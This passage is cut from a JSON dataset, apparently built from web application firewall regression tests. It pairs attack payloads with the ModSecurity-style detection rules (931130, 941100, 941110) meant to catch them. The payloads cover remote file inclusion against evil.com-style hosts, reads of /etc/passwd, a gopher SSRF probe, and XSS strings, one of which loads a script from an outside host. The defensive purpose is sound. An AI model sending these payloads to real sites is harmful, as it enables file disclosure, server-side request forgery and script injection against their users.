"(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Subdomains" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=http://example.com%2f:asd@evil.com/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Bypass 1" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=http://example.com%2f@evil.com/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Bypass 2" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=http://example.com%2f:foo@bar@evil.com/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Bypass 3" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=http://foo:bar@example.com/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "basic auth" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=url:file://foo.bar" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Positive test: Remote File Inclusion Attack (931130) - Detect url:file://" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=gopher://google.com/_SSRFTest!" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Remote File Inclusion Attack (931130) - Detect gopher://" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=ldap://127.0.0.1/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Remote File Inclusion Attack (931130) - Ldap Protocol" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=jar:http://evil.co/b.zip!a" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Remote File Inclusion Attack (931130)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=url:file://etc/services" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Remote File Inclusion Attack (931130) with Java backend" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=local_file://something" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Remote File Inclusion Attack (931130) with local_file url scheme" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=url:file:///etc/passwd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Remote File Inclusion Attack (931130) with Java backend and trailing /" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=jar:file:/path/to/myApp.jar!/com/example/data.txt" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Remote File Inclusion Attack (931130) with Java backend using file:/" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "input=setTimeout(\"top.frame2.location=\"javascript:(function+()+{var+x+=+document.createElement(\\\\\"script\\\\\");x.src+=+\\\\\"//sdl.me/popup.js?//\\\\\";document.childNodes\\\\[0\\\\].appendChild(x);}());\"\",1000)&//" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectXSS", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941100", "test_description": "Test as described in http://www.client9.com/article/five-interesting-injection-attacks/" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "mime=text/xml&body=%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%20src=%22data:,alert(1)%22%20/%3E" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectXSS", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941100", "test_description": "XSS in XML Test as described in http://www.client9.com/article/five-interesting-injection-attacks/" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "/char_test?mime=text/xml&body=%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%20src=%22data:,alert(1)%22%20/%3E" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectXSS", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941100", "test_description": "XSS testing of libinjection in User-Agent" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "/demo/xss/xml/vuln.xml.php?input=setTimeout(\"top.frame2.location=\"javascript:(function+()+{var+x+=+document.createElement(\\\\\"script\\\\\");x.src+=+\\\\\"//sdl.me/popup.js?//\\\\\";document.childNodes\\\\[0\\\\].appendChild(x);}());\"\",1000)&//" } ], "attack_context": { "method": "GET", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectXSS", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941100", "test_description": "XSS testing of libinjection in User-Agent" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectXSS", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941100", "test_description": "Status Page Test - simplified XSS testing of libinjection in ARGS" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=alert(1);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)]*>[\\s\\S]*?", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941110", "test_description": "Test as described in http://www.client9.com/article/five-interesting-injection-attacks/" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=%uff1cscript%u0020%uff1ealert%281%29%uff1c/script%uff1e\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)]*>[\\s\\S]*?", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941110", "test_description": "XSS in payload using %uNNNN" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=%ef%bc%9cscript%20%ef%bc%9ealert%281%29%ef%bc%9c/script%ef%bc%9e\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)]*>[\\s\\S]*?", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941110", "test_description": "XSS in payload with individual code points urlencoded" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "%9cscript+%bcalert(1);%bc/script%9e=value" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)]*>[\\s\\S]*?", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], 